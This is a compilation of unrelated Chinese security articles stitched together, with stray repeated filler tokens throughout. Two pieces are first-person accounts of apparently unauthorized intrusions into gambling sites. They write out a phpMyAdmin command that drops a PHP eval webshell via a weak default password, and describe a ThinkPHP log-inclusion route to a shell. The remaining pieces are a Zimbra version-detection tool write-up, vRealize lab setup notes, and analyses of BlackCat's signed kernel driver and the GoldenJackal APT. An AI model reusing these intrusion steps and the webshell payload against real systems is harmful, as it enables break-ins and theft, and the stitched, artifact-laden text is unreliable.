我看到URL后面是Home/Change/AlipayInfo/alipay/微信.html,我第一预感就是使用ThinkPHP框架来写的程序。

为了验证我的猜想,我特地随便输入地址看他报错,一般的ThinkPHP报错都会显示出版本+物理路,其结果,有图上踩点可以得到以下信息
1. 此站使用的是ThinkPHP3.2.2的框架。
2. 物理路劲C:\WWW\pcdd\pc
3. 此网站没有使用CDN
4. 此网站服务器在境外(加拿大)。
5. 此网站必有漏洞。




三、 开始战斗
随便找了一处直接sqlmap测试,结果如下图,有防护,直接被墙,导致无法继续,连接一个VPN

再看看,不行想办法过防护,直接访问ping出的IP 47.xx.xx.xx,发现phpstudy的探针一枚

在phpstudy默认的数据库密码都是root于是,我们开始尝试弱口令

发现他是个弱口令。于是在访问一下47.xx.xx.xx/phpmyadmin。很不幸,又被墙,说明这防火墙有点狗,换个节点,直接登录。

后来直接用sql语句导出一句话木马,登录进去之后直接点SQL,然后执行语句
select '<?php @eval($_POST[1])?>' into outfile 'C:\/WWW\/pcdd\/pc\/log1.php';
这里使用双斜杠且一个斜杠是反的的目的是怕他直接解析不出斜杠,然后因为执行sql语句又被墙一次。
之后我直接上菜刀,换个节点 因为执行了SQL语句,肯定被墙,所以直接换节点。
切记,这时候你在shell里面翻目录是要被墙的100个节点也不够你翻的,直接执行语句提权,然后连服务器,这里站长修复漏洞了,木马自然不复存在,无法复现,不过站长没有删除我的账号。
发现他是使用阿里云的rds数据库,密码也是挺复杂的。
四、总结
1.他网站采用云数据库站库分离,首先第一比较安全,第二数据处理比较好,但是因为疏忽了本地环境的数据库的弱口令,导致被入侵。2.细节真的很重要比如信息收集,很多人在目标站盯了很久,一点收获都没有,这时候不妨好好地去看一下它的窗户,后门。本文就是直接访问IP发现了环境配置和探针。才能够如此顺利进来。3.基础很重要,比如你不知道phpstudy环境的默认密码和默认地址呢,如果phpstudy的默认密码是其他的呢?不清楚phpstudy环境的根本不了解默认的权限是system4.做事要慎独,一定要把工作量最小化,比如在执行sql语句导出一句话木马的时候很有可能phpmyadmin解析成C:WWW之类的,所以双斜杠反斜杠最好每次测试的时候都带上,反正也没什么影响。比如你要去翻目录肯定要被墙,起码要浪费一分钟去换节点,做过众测的朋友都知道众测里都是争分夺秒的。所以本次案例因为防火墙的原因我直接提权。5.在自己建站的时候一定不要懒惰,要把所有权限做的完美,把被入侵的风险降低到最小。

转载于原文链接: https://mp.weixin.qq.com/s/3y894HT1uBBGdifbIToQZQ




HireHackking
0x00 前言本文將要介紹Zimbra版本探測的多種方法,通過Python實現自動化,記錄開發細節,開源代碼。
0x01 簡介本文將要介紹以下內容:
實現思路
實現細節
開源代碼
0x02 實現思路查看Zimbra版本的方法有很多,各有優缺點,具體方法如下:
1.通過Web管理頁面通過瀏覽器訪問7071管理頁面,在主頁面會顯示當前Zimbra版本
例如我的測試環境顯示為:
Zimbra Version: 9.0.0_GA_4273.NETWORK
通過該方法獲得的版本為準確版本
2.通過執行命令

注:
Zimbra補丁更新可參考:
https://wiki.zimbra.com/wiki/Zimbra_Releases/9.0.0/patch_installation
3.通過Zimbra SOAP API默認配置下,zimbraSoapExposeVersion屬性為FLASE,查詢命令:
返回結果:
需要將zimbraSoapExposeVersion屬性設置為TRUE後,可以通過Zimbra SOAP API獲得版本,修改屬性的命令為:
發送的SOAP格式示例:
默認配置下的返回結果:

4.通過imap協議
5.通過imap over ssl協議
6.通過特定url
0x03 實現細節綜合以上探測方法,為了適應多種環境,在程序實現上選取了通過imap協議、通過imap over ssl協議和通過特定url三種方法實現
1.通過imap協議完整示例代碼:

2.通過imap over ssl協議需要將ip轉為hostname作為參數,示例代碼:

完整示例代碼:

存在部分環境無法將ip轉為hostname,導致報錯:[Errno 11004] host not found,所以在程序判斷邏輯上優先使用imap協議
3.通過特定url完整示例代碼:

0x04 開源代碼完整的實現代碼已上傳至github,地址如下:
https://github.com/3gstudent/Homework-of-Python/blob/master/Zimbra_GetVersion.py
代碼首先嘗試通過特定url獲得版本信息,再通過imap協議讀取版本信息,如果失敗,最後通過imap over ssl協議讀取版本信息
0x05 小結本文介紹了Zimbra版本探測的多種方法,比較優缺點,選取有效的方法並通過Python實現自動化,記錄開發細節,開源代碼,作為一個很好的學習示例。
HireHackking

记菠菜积分商城的一次渗透

拿到目标站这个页面


还没开始就已经准备放弃
然后咱看右上角有个积分商城,心如死灰的我点进去

看到这个页面直接摔门出去抽烟十分钟[别问为什么一问就是之前没搞成
开始信息收集吧
拿到这个积分商城把域名放进fofa

得到真实ip以后找到了宝塔后台登录面板
然后用域名/ip对目录进行扫描[御剑超大字典那款]看着语言栏勾选啊,还不知道啥脚本语言域名后面直接跟上index.php[有页面]、index.jsp[404]、index.asp[404]好嘞勾上php得到后台



像这样的页面源码很少的就碰运气找特征来试

在fofa中搜索



很多页面都是显示onethink,然后放百度搜一下
确定了是这个框架并且是基于thinkphp开发的[这里有个思路:当我们用tp框架漏洞去打的时候如果不成功,那么我们就可以利用找到的cms进行代码审计,基于我们上面已经找到了宝塔登录面板那么我们可以审计任意文件读取得到宝塔用户名密码,计划任务getshell]利用tp漏洞扫描工具获得POC
debug报错出来是tp5.0.1搜了一下找到了日志路径尝试利用日志包含一直没成功后来发现他的日志到了一定的数量就会清空且phpinfo页面会占有一定的kb所以要通过burp让他的日志清空再进行包含把url编码抓包给转换成<?php phpinfo();?> //具体原因见[漏洞汇总 文件包含]

发送send时日志文件在burp里面没显示完马上就没有了此时再回头看最初POC当POC成功的时候下面会有debug信息
所以我们把注意力放在Raw当执行成功时会显示以下信息提取关键特征
提取关键特征在Raw里面进行搜索


所以当如果<?php phpinfo();?>包含进去了的话就会有这两个特征重复刚才的操作把我们的<?php phpinfo();?> 写进日志抓包把url的%3C?php%20phpinfo();?%3E转换成<?php phpinfo();?>这里要注意,他的日志到了一定量的时候就会被清空就包含不了我们的恶意代码当我们写<?php phpinfo();?>在日志时候,每发送一次就要访问日志查看是否存在<?php phpinfo();?> 这里我试了三次,成功包含寻找特征(成功包含)剩下的getshell就不说了太简单了,只要包含进去了执行了getshell不是问题







转载于原文链接: https://mp.weixin.qq.com/s/vE5QQx0FI_0OWVQ-6Uc9xg

HireHackking
0x00 前言本文記錄從零開始搭建vRealize Log Insight漏洞調試環境的細節。
0x01 簡介本文將要介紹以下內容:
vRealize Log Insight安裝
vRealize Log Insight漏洞調試環境配置
數據庫操作
0x02 vRealize Log Insight安裝參考資料:https://docs.vmware.com/en/vRealize-Log-Insight/index.html
1.下載OVA文件下載頁面:https://customerconnect.vmware.com/evalcenter?p=vr-li
下載前需要先註冊用戶,之後選擇需要的版本進行下載
2.安裝(1)在VMware Workstation中導入OVA文件
(2)配置
訪問配置頁面https://
選擇Starting New Deployment,設置admin用戶口令
3.開啟遠程調試功能(1)查看所有服務的狀態
結果如下圖

定位到web相關的服務為loginsight.service
(2)查看loginsight.service的具體信息

結果如下圖

定位到服務啟動文件:/usr/lib/loginsight/application/bin/loginsight
(3)查看進程參數
執行命令:ps aux|grep java
返回結果:
結果分析如下:

0x03 數據庫操作1.重置web登陸用戶admin口令實現文件:/usr/lib/loginsight/application/sbin/li-reset-admin-passwd.sh
從文件中可以獲得數據庫操作的相關信息,如下圖

2.連接數據庫的命令參數實現文件:/usr/lib/loginsight/application/lib/apache-cassandra-3.11.11/bin/cqlsh-no-pass
文件內容如下:

3.連接數據庫的用戶名口令
4.連接數據庫的配置信息
(1)使用封裝好參數的文件

(2)使用參數連接

從返回結果可以看到數據庫使用了CQL(Cassandra Query Language)
查詢用戶配置的命令:

5.界面化操作數據庫
0x04 小結在我們搭建好vRealize Log Insight漏洞調試環境後,接下來就可以著手對漏洞進行學習。
HireHackking
我們將在本文中詳細介紹發生在2023年2月的BlackCat勒索軟件事件,研究人員在其中發現了一種新型逃避功能。
2022年12月下旬,Mandiant、Sophos和Sentinel One的研究人員發現惡意內核驅動程序是通過幾個微軟硬件開發人員帳戶(由微軟Windows硬件開發人員計劃認證)簽名的,微軟隨後撤銷了幾個在這些攻擊中被濫用的微軟硬件開發者賬戶。
我們將在本文中介紹有關2023年2月發生的BlackCat勒索軟件事件,該變體與三家安全商2022年12月下旬披露的惡意驅動程序重疊。眾所周知,BlackCat在逃避功能上使用了多種技術,比如使用禁用和修改工具或使用安全模式引導技術。
本文重點分析揭示了這種新功能,它涉及使用簽名內核驅動程序進行逃避。我們認為這個新的內核驅動程序是一個最新版本,繼承了以前研究中披露的示例的主要功能。該驅動程序與單獨的用戶客戶機可執行文件一起使用,試圖控制、暫停和終止部署在攻擊目標上的安全代理的各種進程。
攻擊者使用不同的方法對其惡意內核驅動程序進行簽名:通常是通過濫用Microsoft簽名門戶、使用洩露和被盜的證書或使用地下服務。在示例中,攻擊者試圖部署Mandiant披露的舊驅動程序,該驅動程序通過Microsoft簽名(SHA256: b2f955b3e6107f831ebe67997f8586d4fe9f3e98)。由於該驅動程序之前已經被發現並檢測到,攻擊者部署了另一個由被盜或洩露的交叉簽名證書籤名的內核驅動程序。
惡意簽名的內核驅動程序我們觀察到的2023年2月的勒索軟件事件證明,勒索軟件運營商及其附屬機構對獲得他們在攻擊中使用的勒索軟件有效負載的特權級訪問非常感興趣。他們通常使用包含低權限組件的勒索軟件家族,以避免在最終有效負載被釋放後被安全產品檢測到。跟踪分析發現,大多數與內核相關的有效負載通常是在企圖逃避階段被發現的。

內核級攻擊的分佈

大多數與內核相關的有效負載都是在企圖逃避階段被發現的
一些勒索軟件攻擊試圖遵守微軟的代碼簽名要求。這使得惡意攻擊者可以靈活地在釋放實際負載之前編譯為特定任務(通常涉及削弱防禦和逃避)設計的內核模塊。攻擊者可以採取以下方法:
1. 使用代碼簽名證書,該證書要么是洩露的,要么是竊取的,要么是從黑市購買的。
2. 通過模仿合法機構並按照微軟的流程獲取交叉簽名證書(前提是微軟允許對內核模式代碼進行交叉簽名),濫用微軟的門戶來發布簽名的內核模塊,獲得新的有效代碼簽名證書,以及從黑市購買與真實身份相關的有效代碼簽名證書和/或擴展驗證(EV)證書。

顯示攻擊者如何遵守微軟代碼簽名要求的圖表
對簽名驅動程序的分析接下來,我們將研究二月BlackCat攻擊中使用的簽名驅動程序(ktgn.sys)。下圖顯示了這些新簽署的驅動程序的其他示例,以及它們是如何被用作BlackCat逃避程序的。

BlackCa在逃避階段釋放的文件
通過虛擬機保護的用戶代理tjr.exe將內核驅動程序釋放到用戶臨時目錄C:\%User%\AppData\Local\Temp\Ktgn.sys。然後安裝被釋放的驅動程序,名稱為Ktgn,啟動值為System(在系統重新啟動時啟動)。通過我們對用戶與該驅動程序交互時發生的情況的分析,我們觀察到它只使用了一個公開的設備輸入和輸出控制(IOCTL)代碼——Kill Process,該代碼用於阻止安裝在系統上的安全代理進程。
與此同時,驅動程序ktgn.sys使用當前吊銷的有效數字簽名從“BopSoft”(它也曾被其他攻擊者用於代碼簽名)簽名,可以成功加載到執行簽名策略的64位Windows安裝中,該驅動程序使用Safengine Protector v2.4.0.0工具進行混淆,這使得靜態分析技術不可靠。通過加載被混淆的驅動程序並嘗試構建一個用戶模式客戶端來觀察暴露的IOCTL接口,我們可以確定每個IOCTL代碼的函數。最後,我們觀察到相同的內核驅動程序被不同的代碼簽名證書籤名。

具有不同簽名者的驅動程序變體

用於混淆二進製文件的封裝程序
由於它沒有註冊卸載回調函數,因此只有在釋放或修改服務註冊表項後重新啟動系統時,才能卸載驅動程序。

服務控制管理器無法停止該服務

缺少卸載函數的驅動程序
一個名為\\.\keHeperDriverLink的符號鏈接被創建,該符號允許用戶模式客戶端與其連接和通信。請注意,該鏈接只允許一個連接,如果多個客戶端試圖同時連接,系統將崩潰。

正在檢查另一個用戶模式進程是否正在嘗試連接到驅動程序

暴露的IOCTL接口
這個客戶機支持10個不同的命令,每個命令實現一個特定的功能,該功能由內核驅動程序通過適當的IOCTL接口執行。驅動程序和用戶模式客戶端之間的通信使用irp_mj_devicide_control處理程序通過以下代碼發生,每個IOCTL代碼及其對應的功能:
222088h:激活驅動程序
22208ch:取消激活驅動程序
222094h:終止進程
222184h:刪除文件
222188h:強制刪除文件
22218ch:複製文件
222190h:強制複製文件
2221c8h:註冊進程/線程對象通知
2221c4h:註銷進程/線程對象通知
222264h:重啟系統
根據我們對內核驅動程序的分析,它似乎仍在開發和測試中,因為它的結構不是很好,而且它的一些功能目前還不能使用。接下來將介紹各種IOCTL接口的詳細信息。
IOCTL 222088h在執行任何其他操作之前,必須首先調用IOCTL 222088h來激活驅動程序。如果未調用此代碼,驅動程序將不接受任何操作,並將返回消息STATUS_ACCESS_DENIED。用戶模式客戶端將此激活字節數組發送給驅動程序。
激活是對位於驅動程序中的大小為0x42的硬編碼字節數組進行簡單的字節比較。如果比較通過,它將設置一個BOOLEAN標誌,該標誌將在任何操作之前進行檢查。

運行內存中的激活字節數

複製激活字節以測試驅動程序操作
IOCTL 22208 chIOCTL 22208Ch在用戶模式客戶端完成取消之前在IOCTL代碼222088h中設置的標誌的操作後被調用。這將使驅動程序失效並停止處理任何新的操作。
客戶端將需要傳遞IOCTL代碼222088h中傳遞的相同字節數組,以便成功完成操作。
IOCTL 222094 hIOCTL 222094h用於阻止任何用戶模式進程(甚至是受保護的進程)。 Tt從用戶代理接收進程ID,然後在目標進程上下文中創建內核線程。創建的內核線程調用ZwTerminateProcess API來終止目標進程。

檢查驅動程序是否激活

IOCTL 222094h終止進程
IOCTL 222184 hIOCTL 222184h用於刪除特定的文件路徑。

IOCTL 222184h刪除文件路徑
IOCTL 222188 hIOCTL 222188h強制刪除文件。為此,內核驅動程序執行以下操作:
1.它嘗試使用暴力方法打開系統上的所有進程(從PID=0x4到PID=0x27FFD);
2.當它成功地打開一個進程時,它會嘗試引用進程內的所有句柄,再次使用暴力方法(從HANDLE=0x4開始到HANDLE=0x27FFD);
3.當它成功引用句柄時,它使用ObQueryNameString API將句柄映射到名稱。當找到匹配項時,內核驅動程序關閉句柄。
此操作將確保關閉對該文件的所有引用,並且該操作可以成功完成,而不會出現任何錯誤,說明該文件正被其他應用程序使用。

暴力破解PID

暴力破解句柄
IOCTL 22218 chIOCTL 22218Ch用於復製文件。

IOCTL 22218Ch用於復製文件
IOCTL 222190 hIOCTL 222190h用於強制複製文件。驅動程序使用與強制刪除相同的操作(IOCTL代碼:222188h)。它使用暴力方法關閉所有進程對文件的所有引用,然後復製文件。
IOCTL 2221C4h和IOCTL 2221C8h
IOCTL 2221C4h和2221C8h都用於註冊和註銷進程/線程通知回調。然而,在撰寫本文時,這兩條路徑都是無法實現的,這表明它們仍處於開發或測試階段。

註冊對象通知的偽代碼

註銷對象通知的偽代碼

對象通知函數的偽代碼
IOCTL 222264 hIOCTL 222264h通過調用HalReturnToFirmware API重啟系統。
總結攻擊者通過終端保護平台(EPP)和終端檢測與響應(EDR)技術,正在積極尋求對Windows操作系統的高權限訪問的惡意攻擊,繞過各類防護措施。由於這些添加的保護層,攻擊者傾向於選擇阻力最小的方法,通過內核層(甚至更低級別)運行惡意代碼。所以我們認為,這種威脅會一直存在。
惡意攻擊者將繼續使用rootkit對安全工具隱藏惡意代碼,繞過防禦,並在很長一段時間內不會被檢測到。這些rootkit將被惡意組織大量使用,他們既擁有逆向工程低級系統組件的技能,又擁有開發此類工具所需的資源。這些惡意攻擊者還擁有足夠的財力,可以從黑市購買rootkit或購買代碼簽名證書來構建rootkit。這意味著涉及這類rootkit的主要危險在於它們能夠隱藏複雜的有針對性的攻擊,這些攻擊將在攻擊的早期使用,允許攻擊者在受害者環境中啟動實際有效負載之前就逃脫檢測。
緩解措施代碼簽名證書通常會被攻擊者濫用,因為它們在攻擊中提供了額外的混淆層。對於組織來說,洩露的密鑰不僅會帶來安全風險,還會導致對原始簽名軟件的聲譽和信任的喪失。企業應該通過實現最佳實踐來保護他們的證書,例如減少對私鑰的訪問,從而降低對證書進行未經授權訪問的風險。為私鑰使用強密碼和其他身份驗證方法還可以幫助保護它們免受惡意攻擊者的竊取或破壞。此外,使用單獨的測試簽名證書(用於測試環境中使用的預發布代碼)可以最大限度地減少實際發布簽名證書在攻擊中被濫用的可能性。
對於一般的勒索軟件攻擊,組織可以實現一個系統的安全框架,分配資源來建立一個強大的防禦策略。建議如下:
盤點資產和數據;
識別授權和未經授權的設備和軟件;
審計事件和事件日誌;
管理硬件和軟件配置;
僅在必要時授予管理員權限和訪問權限;
監控網口、協議和服務;
為合法應用程序建立軟件許可列表;
實施數據保護、備份和恢復措施;
啟用多因素身份驗證(MFA);
在系統各層部署最新版本的安全解決方案;
注意攻擊的早期跡象;
保護潛在的入口點(如終端、電子郵件、web和網絡),組織可以檢測並防範惡意元素和可疑活動,從而保護自己免受勒索軟件攻擊。
HireHackking

標題:起底GoldenJackal APT組織

GoldenJackal是一家APT組織,自2019年開始活躍,通常針對中東和南亞的政府和外交機構。儘管他們早在幾年前就開始了活動,但該組織似乎沒有被詳細介紹過。
卡巴斯基實驗室的研究人員早在2020年中開始監測該組織,觀察到這是一個極其專業的組織。該組織的主要開發.NET惡意軟件、JackalControl、JackalWorm、JackalSteal、JackalPerInfo和JackalScreenWatcher等特定工具集,目的是:
马云惹不起马云控制受害者計算機;
马云惹不起马云在使用可移動驅動器的系統中傳播;
马云惹不起马云從受感染的系統中竊取某些文件;
马云惹不起马云竊取憑據;
马云惹不起马云收集有關本地系統的信息;
马云惹不起马云收集有關用戶網絡活動的信息;
马云惹不起马云 截取桌面的屏幕截圖;
根據工具集和攻擊者的行為,研究人員認為GoldenJackal APT組織的主要動機是間諜活動。
攻擊途徑研究人員發現攻擊者假冒Skype安裝程序,使用惡意Word文檔。
另一個已知的攻擊途徑是一個惡意文檔,它使用遠程模板注入技術下載惡意HTML頁面,該頁面利用了Follina漏洞。

這份文件被命名為“Gallery of Officers Who Have Received National And Foreign Awards.docx”的文件似乎是合法的,旨在收集巴基斯坦政府授予勳章的官員的信息。值得注意的是,Follina漏洞是在2022年5月29日首次被公佈,該文檔似乎在發布兩天后的6月1日進行了修改,並於6月2日首次被檢測到。
該文檔被配置為從合法且已被攻擊的網站加載外部對象:
hxxps://www.pak-developers[.]net/internal_data/templates/template.html!

用於加載遠程資源的代碼段
遠程網頁是公共“概念證明”的修改版本,用於利用Follina漏洞。原始PoC可在GitHub上獲得。攻擊者將IT_BrowseForFile變量值替換為以下值:

利用Follina漏洞的代碼段
解碼後的字符串為:

解碼腳本該漏洞會下載並執行託管在合法受攻擊網站上的可執行文件,並將其存儲在以下路徑中:“%Temp%\GoogleUpdateSetup.exe”。下載的文件是JackalControl惡意軟件。
在其他情況下,研究人員沒有發現真正的攻擊途徑,他們還觀察到在橫向活動進程中系統受到攻擊。具體來說,研究人員觀察到攻擊者使用psexec實用程序啟動惡意批處理腳本。

批處理腳本執行各種操作,例如安裝Microsoft .Net Framework 4、用JackalControl木馬感染系統並收集有關係統的信息。

JackalControl這是一種木馬,允許攻擊者通過一組預定義和支持的命令遠程控制目標計算機。信息是通過HTTPS通信信道在惡意軟件和C2服務器之間進行接收的,並且可以指示植入進行以下任何操作:
马云惹不起马云使用提供的參數執行任意程序;
马云惹不起马云下載任意文件到本地文件系統;
马云惹不起马云從本地文件系統上傳任意文件;
在過去幾年中,攻擊者多次更新該工具,已出現了多種變體。接下來,我們將描述2023年1月觀察到的最新版本(8C1070F188AE87FBA1148A3D791F2523)。
該木馬是一個可執行文件,可以作為標準程序或Windows服務啟動。
它需要一個參數,該參數可以等於以下一個值:
马云惹不起马云/0:作為標準程序運行,只與C2服務器聯繫一次;
马云惹不起马云/1:作為標準程序運行,並定期聯繫C2服務器;
马云惹不起马云/2:作為Windows服務運行;
惡意軟件參數和相關的惡意軟件行為根據變體而變化。一些變體只提供兩個參數:
马云惹不起马云/0作為標準程序運行;
马云惹不起马云/1作為Windows服務運行;
其他變體可以自我安裝不同的持久性機制。惡意軟件的執行流程由運行該惡意軟件的命令行中提供的參數決定。
马云惹不起马云/h0:將通過創建Windows計劃任務使惡意軟件獲得持久性;
马云惹不起马云/h1:將通過創建相應的註冊表運行項使惡意軟件獲得持久性;
马云惹不起马云/h2:將通過創建Windows服務使惡意軟件獲得持久性;
马云惹不起马云/r0:作為標准進程運行(此參數由Windows計劃任務指定);
马云惹不起马云/r1:作為標准進程運行(此參數由生成的註冊表運行項值指定)。
马云惹不起马云/r2:作為服務運行(此參數由創建的Windows服務指定)。
攻擊者已經將不同的變體進行了傳播:有些包括用於維護持久性的代碼,另一些則被配置為在不感染系統的情況下運行;並且感染進程通常由諸如上述批處理腳本之類的其他組件執行。
惡意軟件通過生成BOT_ID開始其活動,這是用於識別受攻擊系統的唯一值。此值源自其他幾個基於主機的值:
從以下WMI查詢中獲得的UUID值:

從以下註冊表項獲取的計算機GUID:

從另一個WMI查詢中獲得的額外驅動器的列表,這反過來允許他們確定' PHYSICALDRIVE0 '的' SerialNumber ':

收集到的信息被連接在一個字節數組中,然後用MD5哈希,MD5被用作創建BOT_ID的種子。用於生成後者的算法只是對結果MD5哈希中每兩個連續字節求和,並將所得字節(模數256)作為最終BOT_ID的單個字節。下面的代碼片段描述了這種邏輯,它取自惡意軟件。

用於生成BOT_ID的代碼段
生成的BOT_ID還用於初始化DES密鑰和IV,然後用於加密與C2的通信。
惡意軟件使用HTTPPOST請求進行通信,其中數據參數將以編碼形式作為請求主體的一部分進行傳播。然後,整個請求結構將顯示如下:

一個有效的響應應該以以下方式形成:

響應使用base64進行解碼:生成的有效負載是一個字符串數組,其中使用的分隔符是標準的Windows新行序列-“\r\n”。每一行都用base64再次解碼,用DES解密,並用GZIP算法解壓縮。
每個命令都具有以下結構:

命令結構
00:執行——使用指定的參數執行任意程序。如果攻擊者將NoWait標誌設置為False,則惡意軟件會重定向進程輸出,讀取數據並將其轉發給C2;
01:下載——從本地系統讀取文件並將其上傳到服務器;
02:上傳——使用攻擊者指定的文件路徑將接收到的數據保存到本地系統。
命令數據字段旨在攜帶有關命令參數的信息,並且對於每種操作類型具有不同的結構,如下所述:

命令結果通常被組成一條消息,該消息還包括底層命令類型和命令ID的值,該值唯一地標識向惡意軟件發出的命令的示例。這三個值用GZIP壓縮,用DES加密,並用base64編碼。
生成的有效負載使用“|”字符與BOT_ID連接,再次使用base64編碼,然後使用上述POST請求格式將其上傳到遠程服務器。
安裝程序模式一些變體可以感染系統,在特定位置創建惡意軟件的副本,並保證其持久性。
惡意軟件位置是通過特定進程選擇的,它枚舉CommonApplicationData中的所有子目錄,並隨機選擇一個子目錄保存其副本。生成的文件名將以子目錄的名稱作為後綴,並附加另一個靜態值Launcher.exe,如下所示:

如果操作成功,它還會更改新的文件時間戳,並使其與所選子目錄的時間戳相同。
如果操作失敗,它會隨機選擇另一個目錄,並再次嘗試複製惡意軟件。
如果對所有子目錄的操作都失敗,它將嘗試使用硬編碼目錄名列表:
马云惹不起马云Google
马云惹不起马云Viber
马云惹不起马云AdGuard
马云惹不起马云WinZip
马云惹不起马云WinRAR
马云惹不起马云Adobe
马云惹不起马云CyberLink
马云惹不起马云Intel
如果所有嘗試都失敗了,它將嘗試在以下位置使用相同的進程:
马云惹不起马云ApplicationData
马云惹不起马云LocalApplicationData
马云惹不起马云Temp
持久性能力惡意軟件的持久性通常通過以下機制來保證:
马云惹不起马云服務安裝;
马云惹不起马云創建新的Windows註冊表項值;
马云惹不起马云創建新的計劃任務;
該服務通常由惡意軟件在執行Windows sc.exe實用程序時安裝。

註冊表值等於復制的惡意軟件文件名,不帶擴展名,並存儲在以下各項中:

計劃任務是使用硬編碼的XML模板創建的,該模板在運行時被修改,並使用相同的惡意軟件文件路徑在文件系統釋放,但擴展名不同,為.XML而不是.exe。
然後將生成的XML文件與Windows schtasks.exe實用程序一起使用來創建任務。
例如:

任務和服務描述會根據變體而變化。
JackalStealJackalSteal是另一種植入程序,通常部署在一些受感染的計算機上,用於在目標系統中查找感興趣的文件,並將其竊取至C2服務器。
此工具可用於監控目標系統中的可移動USB驅動器、遠程共享和所有邏輯驅動器。惡意軟件可以作為標準流程或服務來工作。它無法維護持久性,因此必須由另一個組件安裝。
JackalSteal通過解析參數開始執行。

選項說明
马云惹不起马云-n:配置文件的唯一標識符值;
马云惹不起马云-p:要檢查的目錄路徑;
马云惹不起马云-s:請求文件的最大大小;
马云惹不起马云-d:自上次寫入請求文件以來的天數;
马云惹不起马云-m:使用正則表達式在配置的目錄中查找以逗號分隔的字符串掩碼列表;
马云惹不起马云-w:配置Profile的連續目錄掃描之間的時間間隔(以秒為單位);
马云惹不起马云-e:從掃描活動中排除路徑;
马云惹不起马云/0:作為標准進程運行;
马云惹不起马云/1:作為服務運行;
這些選項允許攻擊者指定“概要文件”,該文件定義了攻擊者感興趣的文件。該配置文件由一個ID和一個模式列表組成。每個模式都包含一個具有以下屬性的選項列表:
马云惹不起马云Path:目標路徑;
马云惹不起马云Credentials:用於訪問遠程共享的憑據用戶和密碼;
马云惹不起马云Masks:包含通配符和掩碼字符的掩碼字符串,可用於使用正則表達式匹配任何一組文件;
马云惹不起马云MaxSize:文件的最大大小;
马云惹不起马云Days:自上次寫入文件以來的天數;
马云惹不起马云Interval:兩次連續路徑掃描之間的時間間隔
马云惹不起马云Exclude:掃描活動期間必須排除的路徑;
用於配置JackalSteal組件的命令如下:

唯一標識符“-n”通常與JackalControl木馬程序生成的BOT_ID相同。
在參數處理之後,惡意軟件將數據序列化為XML,使用由帶有“-n”選項傳遞的ID生成的密鑰用DES加密它們,並將生成的有效負載存儲在以下位置:“%ApplicationData%\SNMP\cache\%Filename]”,其中%Filename%是由攻擊者指定的唯一標識符的MD5生成的GUID。
惡意軟件通常使用“/0”或“/1”選項和“-n”選項執行,該選項用於加載獲得的配置文件ID。在第二種情況下,它從前面提到的位置加載配置文件,並啟動‘Watchers’。
Watcher是在具有相同名稱的類中定義的對象,該對像在不同的線程中運行,並根據指定的選項掃描位置。該模式可以表示:
马云惹不起马云本地文件系統中的簡單路徑;
马云惹不起马云遠程共享上的路徑;
马云惹不起马云常量字符串all;
马云惹不起马云常量字符串usb。
當模式等於“all”時,惡意軟件會枚舉所有邏輯驅動器,並為每個驅動器創建一個新的Watcher對象。當模式為“usb”時,它會偵聽與在系統上創建新的可移動驅動器的操作相對應的系統事件。當檢測到新的驅動器時,它會創建一個新的Watcher對象。
每次添加新的Watcher時,惡意軟件都會通知日誌該事件,並使用HTTP Post請求將信息發送到遠程C2。
該日誌是使用以下字符串作為模板創建的:

並上傳到包含以下信息的加密有效負載中:

為每個請求生成AES_Key和AES_IV,嵌入在代碼中的密鑰使用RSA算法進行加密。生成的有效負載也使用GZIP算法進行壓縮。
“Agent_id\\Log_path.log”和“Log”內容數據採用AES算法加密,並使用GZIP壓縮。
Watcher對象負責掃描活動,當Watcher啟動時,它會枚舉目錄及其子目錄中的所有文件。掃描儀還可以解析.lnk鏈接。當掃描程序檢測到與定義的屬性(掩碼、天數、最大大小)匹配的文件時,它會計算文件內容哈希,檢查結果值是否存在於存儲在本地緩存目錄中的哈希表中,如果不存在,則添加該值。當檢測到新文件時,惡意軟件會使用上述相同的邏輯將該文件和相關的文件路徑上傳到加密有效負載中。
在這種情況下,加密的有效負載包含以下信息:

“Agent_id\\Local_file_path”和“File”內容數據採用AES算法加密,並使用GZIP壓縮。
JackalWorm
這種蠕蟲是為了傳播和感染使用可移動USB驅動器的系統而開發的。該程序被設計為一種靈活的工具,可以用來感染任何惡意軟件的系統。
它的行為會隨著父進程而變化。
马云惹不起马云當惡意軟件在被感染的系統上工作,並且父進程是taskeng.exe或services.exe時:
马云惹不起马云監控可移動USB驅動器;
马云惹不起马云連接設備後,將隱藏最後修改的目錄,並將其替換為蠕蟲的副本;
用於監控可移動USB驅動器的代碼與JackalSteal中觀察到的代碼相同。它創建了一個ManagementEventWatcher對象,允許它訂閱與給定WQL查詢相對應的事件通知,並在攔截時發出回調。惡意軟件使用的查詢指示系統每五秒鐘檢查一次邏輯可移動磁盤創建事件:

當惡意軟件檢測到一個可移動的USB存儲設備時,它會自我複製到該設備。它將復製到的路徑是通過列出所有目錄並選擇最後修改的目錄來確定的。它將使用相同的目錄名在驅動器根目錄上創建自己的副本,並將目錄的屬性更改為“hid